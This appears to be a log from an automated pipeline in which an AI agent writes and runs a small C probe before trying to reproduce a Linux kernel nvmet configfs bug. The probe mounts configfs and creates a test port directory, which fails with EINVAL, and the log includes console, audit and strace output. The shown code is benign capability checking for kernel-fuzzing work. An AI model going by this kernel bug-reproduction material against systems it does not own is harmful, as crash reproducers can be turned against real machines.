The user has helpfully provided a strategy and a reproducer for this bug. However, before I can proceed to the actual bug reproduction (which I'll label PHASE 2), I need to establish a foundational capability check (PHASE 1). This probe program is crucial to ensure that the environment in which the bug reproducer will run has the necessary prerequisites.

The core of this capability probing program needs to verify several things:

1.  **Configfs Accessibility**: I must confirm that I can actually access and interact with the `configfs` filesystem.
2.  **Target Directory Operations**: Specifically, I need to ascertain if I can create and remove directories within `/sys/kernel/config/nvmet/ports/`.

Now, I recall a critical constraint: "Rule 7". This rule explicitly forbids the execution of shell commands or external binaries, meaning I absolutely cannot use functions like `system()`, `popen()`, or any of the `exec` family. All environment checks, capability probings, and reproduction steps must be performed using standard Linux system calls such as `open`, `socket`, `ioctl`, `stat`, etc.

This constraint immediately forces a specific approach:

*   **Checking `/sys/kernel/config` existence**: My first step is to see if the `/sys/kernel/config` mount point even exists. If it doesn't, I might need to try and create it, but more likely, I'll attempt to mount `configfs` onto it.
*   **Mounting `configfs`**: If `/sys/kernel/config` isn't already mounted with `configfs`, I'll need to mount it using the `mount()` system call: `mount("none", "/sys/kernel/config", "configfs", 0, NULL)`. I need to be mindful of the `EBUSY` error, which simply means it's already mounted, and that's perfectly acceptable. Other mount errors, however, might indicate a fundamental problem.
*   **Checking `nvmet` subsystem**: After ensuring `configfs` is available, I need to verify the presence of the `nvmet` subsystem. This is typically found at `/sys/kernel/config/nvmet`. If this path doesn't exist, it implies the `nvmet` module is either not loaded or not built into the kernel.
*   **Handling `nvmet` module autoloading**: This is a bit of a tricky point. The user's original reproducer might have used `modprobe` via `system()`, but I cannot. The question becomes: how can I trigger the `nvmet` module to load if it's not already present? Usually, in a syzkaller environment, modules are either built-in, pre-loaded, or autoloaded when a related device is accessed. I could try opening a device like `/dev/nvme-fabrics`, but that's not guaranteed to work for all configurations. For this probe, the most straightforward approach is to simply check for the existence of `/sys/kernel/config/nvmet`. If it's not there after `configfs` is mounted, I'll report an error and fail the probe. Trying to create it myself wouldn't be correct, as its existence is tied to the `nvmet` kernel module being registered with `configfs`.
*   **Creating and Removing a Test Port Directory**: To truly confirm interaction capabilities, I'll create a temporary directory (e.g., `/sys/kernel/config/nvmet/ports/probe_port`) and then immediately remove it. This sequence directly tests the `mkdir` and `rmdir` operations within the `nvmet` subsystem's port directory, which are relevant to the bug's context.

Considering these points, I've developed a C program. My initial draft was functional, but I've refined it to be more robust:

1.  I first check for `/sys/kernel/config` and attempt to create it if it doesn't exist, but I'll proceed if it already exists or if `mkdir` fails with `EEXIST`.
2.  Then, I attempt to mount `configfs`. If it fails with `EBUSY`, it's fine; otherwise, it's a failure.
3.  Next, I use `stat()` to check for `/sys/kernel/config/nvmet`. If `stat` fails, I print an informative error and exit.
4.  If the `nvmet` subsystem is found, I proceed to `mkdir` a `probe_port` directory and then `rmdir` it. Any failures in these steps are reported.

The final program looks solid. It adheres to the system call constraint, checks the essential prerequisites (configfs mount, `nvmet` subsystem presence), and verifies basic directory creation and removal within the target subsystem, which is a good proxy for the capabilities needed to reproduce the `nvmet_port_subsys_allow_link` bug. I'll then use the `set-results` tool to output this probe program.


104/4 2026/08/26 18:17 tool set-results
0m Args:
map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/mount.h>

int main(void) {
    struct stat st;
    
    if (stat("/sys/kernel/config", &st) < 0) {
        if (mkdir("/sys/kernel/config", 0777) < 0 && errno != EEXIST) {
            printf("[-] Failed to create /sys/kernel/config: %s\n", strerror(errno));
        }
    }

    if (mount("none", "/sys/kernel/config", "configfs", 0, NULL) < 0) {
        if (errno != EBUSY) {
            printf("[-] Failed to mount configfs: %s\n", strerror(errno));
            return 1;
        }
    }
    printf("[+] configfs mounted or already busy.\n");

    if (stat("/sys/kernel/config/nvmet", &st) < 0) {
        printf("[-] nvmet subsystem not found in configfs: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] nvmet subsystem found.\n");

    if (mkdir("/sys/kernel/config/nvmet/ports/probe_port", 0777) < 0) {
        printf("[-] Failed to create probe_port: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Created probe_port successfully.\n");

    if (rmdir("/sys/kernel/config/nvmet/ports/probe_port") < 0) {
        printf("[-] Failed to remove probe_port: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Removed probe_port successfully.\n");

    return 0;
}]

Results:
map[IsProbe:true RawCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/mount.h>

int main(void) {
    struct stat st;
    
    if (stat("/sys/kernel/config", &st) < 0) {
        if (mkdir("/sys/kernel/config", 0777) < 0 && errno != EEXIST) {
            printf("[-] Failed to create /sys/kernel/config: %s\n", strerror(errno));
        }
    }

    if (mount("none", "/sys/kernel/config", "configfs", 0, NULL) < 0) {
        if (errno != EBUSY) {
            printf("[-] Failed to mount configfs: %s\n", strerror(errno));
            return 1;
        }
    }
    printf("[+] configfs mounted or already busy.\n");

    if (stat("/sys/kernel/config/nvmet", &st) < 0) {
        printf("[-] nvmet subsystem not found in configfs: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] nvmet subsystem found.\n");

    if (mkdir("/sys/kernel/config/nvmet/ports/probe_port", 0777) < 0) {
        printf("[-] Failed to create probe_port: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Created probe_port successfully.\n");

    if (rmdir("/sys/kernel/config/nvmet/ports/probe_port") < 0) {
        printf("[-] Failed to remove probe_port: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Removed probe_port successfully.\n");

    return 0;
}]

105/3 2026/08/26 18:17 loop
0m
106/4 2026/08/26 18:17 iteration 0
0m
107/5 2026/08/26 18:17 action merge-repro-c
0m Results:
map[CurrentCandidateReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/mount.h>

int main(void) {
    struct stat st;
    
    if (stat("/sys/kernel/config", &st) < 0) {
        if (mkdir("/sys/kernel/config", 0777) < 0 && errno != EEXIST) {
            printf("[-] Failed to create /sys/kernel/config: %s\n", strerror(errno));
        }
    }

    if (mount("none", "/sys/kernel/config", "configfs", 0, NULL) < 0) {
        if (errno != EBUSY) {
            printf("[-] Failed to mount configfs: %s\n", strerror(errno));
            return 1;
        }
    }
    printf("[+] configfs mounted or already busy.\n");

    if (stat("/sys/kernel/config/nvmet", &st) < 0) {
        printf("[-] nvmet subsystem not found in configfs: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] nvmet subsystem found.\n");

    if (mkdir("/sys/kernel/config/nvmet/ports/probe_port", 0777) < 0) {
        printf("[-] Failed to create probe_port: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Created probe_port successfully.\n");

    if (rmdir("/sys/kernel/config/nvmet/ports/probe_port") < 0) {
        printf("[-] Failed to remove probe_port: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Removed probe_port successfully.\n");

    return 0;
}]

108/5 2026/08/26 18:17 action compile-c-prog
0m Results:
map[CompilerError: FormattedReproC:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/mount.h>

int main(void) {
    struct stat st;
    
    if (stat("/sys/kernel/config", &st) < 0) {
        if (mkdir("/sys/kernel/config", 0777) < 0 && errno != EEXIST) {
            printf("[-] Failed to create /sys/kernel/config: %s\n", strerror(errno));
        }
    }

    if (mount("none", "/sys/kernel/config", "configfs", 0, NULL) < 0) {
        if (errno != EBUSY) {
            printf("[-] Failed to mount configfs: %s\n", strerror(errno));
            return 1;
        }
    }
    printf("[+] configfs mounted or already busy.\n");

    if (stat("/sys/kernel/config/nvmet", &st) < 0) {
        printf("[-] nvmet subsystem not found in configfs: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] nvmet subsystem found.\n");

    if (mkdir("/sys/kernel/config/nvmet/ports/probe_port", 0777) < 0) {
        printf("[-] Failed to create probe_port: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Created probe_port successfully.\n");

    if (rmdir("/sys/kernel/config/nvmet/ports/probe_port") < 0) {
        printf("[-] Failed to remove probe_port: %s\n", strerror(errno));
        return 1;
    }
    printf("[+] Removed probe_port successfully.\n");

    return 0;
}]

109/5 2026/08/26 18:17 action If
0m Args:
map[CompilerError:]

110/3 2026/08/26 18:17 action run-c-repro
3m Results:
map[CandidateBugTitle: CandidateCrashReport: CandidateReproduced:false ConsoleOutput:[   70.918362][   T33] kauditd_printk_skb: 10 callbacks suppressed
[   70.918378][   T33] audit: type=1400 audit(1787768309.547:201): avc:  denied  { transition } for  pid=5832 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   70.929334][   T33] audit: type=1400 audit(1787768309.547:202): avc:  denied  { noatsecure } for  pid=5832 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   70.936045][   T33] audit: type=1400 audit(1787768309.547:203): avc:  denied  { rlimitinh } for  pid=5832 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   70.942431][   T33] audit: type=1400 audit(1787768309.547:204): avc:  denied  { siginh } for  pid=5832 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   71.701600][ T1377] ieee802154 phy0 wpan0: encryption failed: -22
[   71.704648][ T1377] ieee802154 phy1 wpan1: encryption failed: -22
[   72.948247][   T33] audit: type=1400 audit(1787768311.577:205): avc:  denied  { write } for  pid=5839 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.998402][   T33] audit: type=1400 audit(1787768311.627:206): avc:  denied  { write } for  pid=5842 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:34499' (ED25519) to the list of known hosts.
[   73.542962][   T33] audit: type=1400 audit(1787768312.167:207): avc:  denied  { mounton } for  pid=5852 comm="syz-executor255" path="/sys/kernel/config" dev="configfs" ino=1112 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[+] configfs mounted or already busy.
[+] nvmet subsystem found.
[-] Failed to create probe_port: Invalid argument
[   73.553369][   T33] audit: type=1400 audit(1787768312.167:208): avc:  denied  { mount } for  pid=5852 comm="syz-executor255" name="/" dev="configfs" ino=1112 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=filesystem permissive=1
[   73.562847][   T33] audit: type=1400 audit(1787768312.167:209): avc:  denied  { search } for  pid=5852 comm="syz-executor255" name="/" dev="configfs" ino=1112 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   73.570250][   T33] audit: type=1400 audit(1787768312.167:210): avc:  denied  { search } for  pid=5852 comm="syz-executor255" name="/" dev="configfs" ino=1112 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   75.964875][   T33] kauditd_printk_skb: 13 callbacks suppressed
[   75.964885][   T33] audit: type=1400 audit(1787768314.587:224): avc:  denied  { write } for  pid=5877 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   76.002016][   T33] audit: type=1400 audit(1787768314.627:225): avc:  denied  { write } for  pid=5880 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   76.487622][   T33] audit: type=1400 audit(1787768315.117:226): avc:  denied  { write } for  pid=5883 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   76.533602][   T33] audit: type=1400 audit(1787768315.157:227): avc:  denied  { write } for  pid=5886 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   76.833502][   T33] audit: type=1400 audit(1787768315.457:228): avc:  denied  { write } for  pid=5889 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   76.878210][   T33] audit: type=1400 audit(1787768315.507:229): avc:  denied  { write } for  pid=5892 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   81.943113][  T805] cfg80211: failed to load regulatory.db
 OtherCrashReports:<nil> StraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor1272128031

<...>
[   69.175207][   T33] kauditd_printk_skb: 10 callbacks suppressed
[   69.175218][   T33] audit: type=1400 audit(1787768405.371:201): avc:  denied  { transition } for  pid=5829 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   69.184045][   T33] audit: type=1400 audit(1787768405.371:202): avc:  denied  { noatsecure } for  pid=5829 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   69.191770][   T33] audit: type=1400 audit(1787768405.371:203): avc:  denied  { rlimitinh } for  pid=5829 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   69.198247][   T33] audit: type=1400 audit(1787768405.371:204): avc:  denied  { siginh } for  pid=5829 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   71.679961][ T1377] ieee802154 phy0 wpan0: encryption failed: -22
[   71.682423][ T1377] ieee802154 phy1 wpan1: encryption failed: -22
[   71.974857][   T33] audit: type=1400 audit(1787768408.171:205): avc:  denied  { write } for  pid=5835 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.019825][   T33] audit: type=1400 audit(1787768408.221:206): avc:  denied  { write } for  pid=5838 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.652201][   T33] audit: type=1400 audit(1787768408.851:207): avc:  denied  { write } for  pid=5845 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.702657][   T33] audit: type=1400 audit(1787768408.901:208): avc:  denied  { write } for  pid=5848 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.851641][   T33] audit: type=1400 audit(1787768409.051:209): avc:  denied  { write } for  pid=5851 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.898439][   T33] audit: type=1400 audit(1787768409.101:210): avc:  denied  { write } for  pid=5854 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:47232' (ED25519) to the list of known hosts.
execve("/syz-executor1272128031", ["/syz-executor1272128031"], 0x7fff99b72ca0 /* 11 vars */) = 0
brk(NULL)                               = 0x55555cb37000
brk(0x55555cb37d80)                     = 0x55555cb37d80
arch_prctl(ARCH_SET_FS, 0x55555cb37400) = 0
set_tid_address(0x55555cb376d0)         = 5890
set_robust_list(0x55555cb376e0, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor1272128031", 4096) = 23
getrandom("\x4b\x78\x88\x6b\x82\x79\x42\x3a", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x55555cb37d80
brk(0x55555cb58d80)                     = 0x55555cb58d80
brk(0x55555cb59000)                     = 0x55555cb59000
mprotect(0x7f10dcb33000, 20480, PROT_READ) = 0
newfstatat(AT_FDCWD, "/sys/kernel/config", {st_mode=S_IFDIR|0755, st_size=0, ...}, 0) = 0
[   75.151649][   T33] kauditd_printk_skb: 8 callbacks suppressed
[   75.151661][   T33] audit: type=1400 audit(1787768411.351:219): avc:  denied  { mounton } for  pid=5890 comm="syz-executor127" path="/sys/kernel/config" dev="configfs" ino=62 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   75.161154][   T33] audit: type=1400 audit(1787768411.351:220): avc:  denied  { mount } for  pid=5890 comm="syz-executor127" name="/" dev="configfs" ino=62 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=filesystem permissive=1
mount("none", "/sys/kernel/config", "configfs", 0, NULL) = -1 EBUSY (Device or resource busy)
fstat(1, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
newfstatat(AT_FDCWD, "/sys/kernel/config/nvmet", {st_mode=S_IFDIR|0755, st_size=0, ...}, 0) = 0
mkdir("/sys/kernel/config/nvmet/ports/probe_port", 0777) = -1 EINVAL (Invalid argument)
[   75.168644][   T33] audit: type=1400 audit(1787768411.361:221): avc:  denied  { search } for  pid=5890 comm="syz-executor127" name="/" dev="configfs" ino=62 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   75.175456][   T33] audit: type=1400 audit(1787768411.361:222): avc:  denied  { search } for  pid=5890 comm="syz-executor127" name="/" dev="configfs" ino=62 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
write(1, "[+] configfs mounted or already busy.\n[+] nvmet subsystem found.\n[-] Failed to create probe_port: In"..., 115) = 115
[+] configfs mounted or already busy.
[+] nvmet subsystem found.
[-] Failed to create probe_port: Invalid argument
[   75.182868][   T33] audit: type=1400 audit(1787768411.361:223): avc:  denied  { search } for  pid=5890 comm="syz-executor127" name="nvmet" dev="configfs" ino=3599 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
exit_group(1)                           = ?
+++ exited with 1 +++
[   75.192024][   T33] audit: type=1400 audit(1787768411.361:224): avc:  denied  { search } for  pid=5890 comm="syz-executor127" name="ports" dev="configfs" ino=3601 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   75.199492][   T33] audit: type=1400 audit(1787768411.361:225): avc:  denied  { write search } for  pid=5890 comm="syz-executor127" name="ports" dev="configfs" ino=3601 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   75.206604][   T33] audit: type=1400 audit(1787768411.361:226): avc:  denied  { add_name } for  pid=5890 comm="syz-executor127" name="probe_port" scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   75.213524][   T33] audit: type=1400 audit(1787768411.361:227): avc:  denied  { create } for  pid=5890 comm="syz-executor127" name="probe_port" scontext=root:sysadm_r:sysadm_t tcontext=root:object_r:configfs_t tclass=dir permissive=1
[   76.137580][   T33] audit: type=1400 audit(1787768412.341:228): avc:  denied  { write } for  pid=5891 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   81.913225][   T10] cfg80211: failed to load regulatory.db
 TestError:]

111/3 2026/08/26 18:20 action truncate-log
0m Results:
map[TruncatedConsoleOutput:[   70.918362][   T33] kauditd_printk_skb: 10 callbacks suppressed
[   70.918378][   T33] audit: type=1400 audit(1787768309.547:201): avc:  denied  { transition } for  pid=5832 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   70.929334][   T33] audit: type=1400 audit(1787768309.547:202): avc:  denied  { noatsecure } for  pid=5832 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   70.936045][   T33] audit: type=1400 audit(1787768309.547:203): avc:  denied  { rlimitinh } for  pid=5832 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   70.942431][   T33] audit: type=1400 audit(1787768309.547:204): avc:  denied  { siginh } for  pid=5832 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   71.701600][ T1377] ieee802154 phy0 wpan0: encryption failed: -22
[   71.704648][ T1377] ieee802154 phy1 wpan1: encryption failed: -22
[   72.948247][   T33] audit: type=1400 audit(1787768311.577:205): avc:  denied  { write } for  pid=5839 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.998402][   T33] audit: type=1400 audit(1787768311.627:206): avc:  denied  { write } for  pid=5842 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:34499' (ED25519) to the list of known hosts.
[   73.542962][   T33] audit: type=1400 audit(1787768312.167:207): avc:  denied  { mounton } for  pid=5852 comm="syz-executor255" path="/sys/kernel/config" dev="configfs" ino=1112 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[+] configfs mounted or already busy.
[+] nvmet subsystem found.
[-] Failed to create probe_port: Invalid argument
[   73.553369][   T33] audit: type=1400 audit(1787768312.167:208): avc:  denied  { mount } for  pid=5852 comm="syz-executor255" name="/" dev="configfs" ino=1112 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=filesystem permissive=1
[   73.562847][   T33] audit: type=1400 audit(1787768312.167:209): avc:  denied  { search } for  pid=5852 comm="syz-executor255" name="/" dev="configfs" ino=1112 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   73.570250][   T33] audit: type=1400 audit(1787768312.167:210): avc:  denied  { search } for  pid=5852 comm="syz-executor255" name="/" dev="configfs" ino=1112 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
[   75.964875][   T33] kauditd_printk_skb: 13 callbacks suppressed
[   75.964885][   T33] audit: type=1400 audit(1787768314.587:224): avc:  denied  { write } for  pid=5877 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   76.002016][   T33] audit: type=1400 audit(1787768314.627:225): avc:  denied  { write } for  pid=5880 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   76.487622][   T33] audit: type=1400 audit(1787768315.117:226): avc:  denied  { write } for  pid=5883 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   76.533602][   T33] audit: type=1400 audit(1787768315.157:227): avc:  denied  { write } for  pid=5886 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   76.833502][   T33] audit: type=1400 audit(1787768315.457:228): avc:  denied  { write } for  pid=5889 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   76.878210][   T33] audit: type=1400 audit(1787768315.507:229): avc:  denied  { write } for  pid=5892 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   81.943113][  T805] cfg80211: failed to load regulatory.db
 TruncatedCrashReport: TruncatedStraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor1272128031

<...>
[   69.175207][   T33] kauditd_printk_skb: 10 callbacks suppressed
[   69.175218][   T33] audit: type=1400 audit(1787768405.371:201): avc:  denied  { transition } for  pid=5829 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   69.184045][   T33] audit: type=1400 audit(1787768405.371:202): avc:  denied  { noatsecure } for  pid=5829 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   69.191770][   T33] audit: type=1400 audit(1787768405.371:203): avc:  denied  { rlimitinh } for  pid=5829 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   69.198247][   T33] audit: type=1400 audit(1787768405.371:204): avc:  denied  { siginh } for  pid=5829 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   71.679961][ T1377] ieee802154 phy0 wpan0: encryption failed: -22
[   71.682423][ T1377] ieee802154 phy1 wpan1: encryption failed: -22
[   71.974857][   T33] audit: type=1400 audit(1787768408.171:205): avc:  denied  { write } for  pid=5835 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.019825][   T33] audit: type=1400 audit(1787768408.221:206): avc:  denied  { write } for  pid=5838 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.652201][   T33] audit: type=1400 audit(1787768408.851:207): avc:  denied  { write } for  pid=5845 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.702657][   T33] audit: type=1400 audit(1787768408.901:208): avc:  denied  { write } for  pid=5848 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.851641][   T33] audit: type=1400 audit(1787768409.051:209): avc:  denied  { write } for  pid=5851 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   72.898439][   T33] audit: type=1400 audit(1787768409.101:210): avc:  denied  { write } for  pid=5854 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
Warning: Permanently added '[localhost]:47232' (ED25519) to the list of known hosts.
execve("/syz-executor1272128031", ["/syz-executor1272128031"], 0x7fff99b72ca0 /* 11 vars */) = 0
brk(NULL)                               = 0x55555cb37000
brk(0x55555cb37d80)                     = 0x55555cb37d80
arch_prctl(ARCH_SET_FS, 0x55555cb37400) = 0
set_tid_address(0x55555cb376d0)         = 5890
set_robust_list(0x55555cb376e0, 24)     = 0
rseq({cpu_id_start=0, cpu_id=RSEQ_CPU_ID_UNINITIALIZED, rseq_cs=NULL, flags=0, node_id=0, mm_cid=0, slice_ctrl={request=0, granted=0, __reserved=0}, __reserved=0}, 33, 0, 0x53053053) = 0
prlimit64(0, RLIMIT_STACK, NULL, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
readlinkat(AT_FDCWD, "/proc/self/exe", "/syz-executor1272128031", 4096) = 23
getrandom("\x4b\x78\x88\x6b\x82\x79\x42\x3a", 8, GRND_NONBLOCK) = 8
brk(NULL)                               = 0x55555cb37d80
brk(0x55555cb58d80)                     = 0x55555cb58d80
brk(0x55555cb59000)                     = 0x55555cb59000
mprotect(0x7f10dcb33000, 20480, PROT_READ) = 0
newfstatat(AT_FDCWD, "/sys/kernel/config", {st_mode=S_IFDIR|0755, st_size=0, ...}, 0) = 0
[   75.151649][   T33] kauditd_printk_skb: 8 callbacks suppressed
[   75.151661][   T33] audit: type=1400 audit(1787768411.351:219): avc:  denied  { mounton } for  pid=5890 comm="syz-executor127" path="/sys/kernel/config" dev="configfs" ino=62 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:configfs_t tclass=dir permissive=1
